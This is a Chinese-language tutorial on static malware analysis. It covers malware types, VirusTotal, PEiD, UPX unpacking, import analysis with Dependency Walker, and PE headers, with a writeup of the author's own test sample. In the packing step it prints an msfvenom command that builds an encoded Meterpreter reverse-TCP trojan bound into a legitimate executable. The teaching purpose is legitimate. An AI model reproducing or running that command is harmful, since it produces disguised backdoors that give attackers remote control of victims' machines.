静态分析恶意文件(基础篇)
提示:
提示:
文章目录
前言
有很多时候服务器被人家入侵了,在日志痕迹影子账户都被抹除的情况下,分析木马文件是一个很有必要的事情,笔者在这里简述一下,结合书本知识和实际操作在这里和大家分享一下我遇到的问题和解决方案。
提示:以下是本篇文章正文内容,下面案例可供参考
一、恶意代码种类及特征
- 后门程序
后门程序:恶意代码将自身安装到一台计算机,并且允许攻击者去访问。后门程序通常允许攻击者在很少认证甚至是不认证的情况下执行系统命令。 - 僵尸网络
僵尸网络:与后门类似,也允许攻击者访问系统,但是所有被同一个僵尸系统感染的计算机将会从一台控制服务器执行一条相同的命令,也就是说一个控制器只需要输入一次命令就可以同时控制多台受控制的僵尸主机。 - 下载器
下载器:这是一种只用来下载其他的恶意代码,下载器是在获得主机的访问时首先被安装的(笔者认为这句话有瑕疵,不如说是在获得主机的控制权之前被安装的,有点像是远程命令执行,通过下载本地的shell至远程服务器之后被执行的这种) - 间谍软件
间谍软件:这是一个从受害主机上收集信息然后发送给攻击者的恶意代码,比如:嗅探器、哈希密码采集器、键盘记录等等。通常都用来获取E-mail、银行支付信息等等。 - 启动器
用来启动其他恶意代码的程序,通常采用的是非传统的方式来更隐秘的去启动恶意程序,或者获得更高的权限等等(是不是很像一句话木马上穿小马,小马上传大马?) - 内核套间
设计用来隐藏其他恶意代码的恶意代码,内核套间通常是与其他恶意代码(后门)组合使用,允许攻击者远程访问,病很难被发现(感觉有点像是加壳和捆绑) - 勒索病毒
用来恐吓受感染的用户,来勒索他们充值谋利使用。这类软件通常都有一个用户页面,看上去就像是一个正常的杀毒软件,他会提醒用户系统中存在恶意代码,而后用户必须购买他们的产品对恶意代码进行移除,实际上这个产品只有删除恶意代码这一个功能(不过实际上遇到的都是直接执行的,当你发现的时候你的文件已经被人家加密了,不花钱就删你的东西,并且不给你解密) - 发送垃圾邮件
这类代码在感染用户计算机后,便会使用系统与网络资源来发送大量垃圾邮件,这类代码通常通过为攻击者出售垃圾邮件发送服务而获利。 - 蠕虫或计算机病毒
可以自我复制并且传染给其他计算机的病毒(拔网线,拔网线,拔网线!)
二、分析步骤
1.反病毒引擎扫描
访问在线网站:https://www.virustotal.com
他会告诉你都有什么嫌疑,还会给你哈希值作为病毒的唯一标识,大家可以上网按照这个唯一标示找这个病毒样例,当然了这个报表说的是啥我是一点没看懂
2.使用PEiD查壳
首先木马是自己做的,壳是自己加的,命令如下:
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -ex86/shikata_ga_nai -i 5 -x 初始.exe lhost=自己的IP lport=端口 -f exe -o 捆绑木马.exe
upx -5 ttl.exe
使用PEiD查壳
3.使用upx.exe脱壳
命令如下:
upx.exe –o 别名 –d 现名
使用upx.exe脱壳
4.使用Dependency Walker探索动态连接函数
Dependency Walker工具介绍
- kernel32.dll : 包含了核心系统功能,如访问和操作内存,文件与硬件等
- Advapi32.dll : 提供了对核心windows组件的访问
- user32.dll : 用户界面组件,如按钮、滚动条,用户响应组件等
- Gdi32.dll : 包含了图形显示和操作的函数
- Ntdll.dll : kernel32.dll 间接导入,是Windows内核接口,一些隐藏功能和操作进程会使用到此端口
- Wsock32.dll Ws2-32.dll : 这两个是联网dll,访问任何一个都会连接网络,并访问执行网络相关的任务(比如说联网下载远程木马等)
- wininet.dll : 这个dll包含了更高层次的网络函数,如FTP、HTTP和NTP等协议
示例(脱壳前):
示例(脱壳后):
5.函数的命名
函数的命名约定
当评估一个不知名的WIndows函数的时候,一些函数的命名约定是值得注意的。例如,你见到了以“EX”结尾命名的函数,如“CreateWindowEx”。当微软更新一个函数的时候,新的函数与旧函数不兼容,微软还会继续使用旧的函数,但是新的函数会在尾部增加“Ex”,更新几次加几个“Ex”。
以字符串作为参数的许多函数,在他们的名字后面加一个“A”或者是一个“W”,如:“CreateDirectoryW”,二者的区别就是以A为结尾的字符串类型是Ascii类型,以W结尾的字符串类型是宽字节字型,在搜索函数的时候记得把后缀W、A等去掉
示例:
6.分析病毒行为实战
tool.exe病毒文件分析
其他函数
GDI32.dll的导入函数是和图形相关的,这只是再次证明这是一个图形化的界面。shell32.dll导入函数告诉我们这个可以启动其他程序,这个是大多数恶意软件和合法软件都有的功能。
Advapi32.dll的导入函数显示,这个程序使用了了注册表,我们可以尝试去里面搜索一下关于注册表的或者说长的像的字符串,可惜这里没找到,但是在其他工具里看到了,这里暂时不做展示
7.静态分析小结论
tool.exe病毒文件分析结论与猜测
利用对导入函数与导出函数的静态分析,我们可以对这个恶意代码分析出一些重要结论:首先这个样本可能具有监控本地键盘记录的能力,使用SetWindowsHookA函数记录键盘击键记录,其次经过分析这个并不是一个正常的图形化页面,因为没有找到注册表遗留的热键,所以无法分析是什么动作会引起恶意用户看到图形化页面并得到键盘记录,通过一些函数分析得知此恶意代码有对文件增、删、复制、查看功能,并且可以控制系统程序,得到很高的控制权限(实际上我这个使用kali的msf监控用户,所以严格意义上说也可以算是图形化的,可能做出来的东西其他工具也能接收到,比如说灰鸽子之类的,但是没有试验过,所以不敢乱说)
7.PE文件头与分节
windows可执行分节
.text : 包含可执行代码
.rdata: 包含全局中可访问的只读数据
.data : 存储数据中都可以访问的全局数据
.idata: 有时会存储导入函数信息,若这个节不存在,导入函数会存储在.rdata节中
.edata: 有时会显示和存储导出函数信息,若这个节不存在,导出函数会存储在.rdata 中
.pdata: 只在64位可执行文件中存在,存储异常处理数据
.rsrc : 存储可执行文件所需要的资源
.reloc : 包含用来重定位库文件信息
7.使用PEview分析pe文件
IMAGE_NT_HEADERS
IMAGE_FILE_HEADER : 包含了文件的基本信息,如时间戳等,我这个没有时间戳
IMAGE_OPYIONAL_HEADERS : 这个部分包含了一些重要信息,子系统(描绘这个程序是一个控制台程序还是图形化程序),控制台程序的值是
IMAGE_SUBSYSTEM_WINDOWS_CUI ,说明程序会在控制台执行。
IMAGE_SUBSYSTEM_WINDOWS_GUI , 说明这是一个图形页面
总结
提示:
以上就是今天要讲的内容,本文仅仅简单介绍了静态分析的方法,如果有什么不正确的希望大佬指正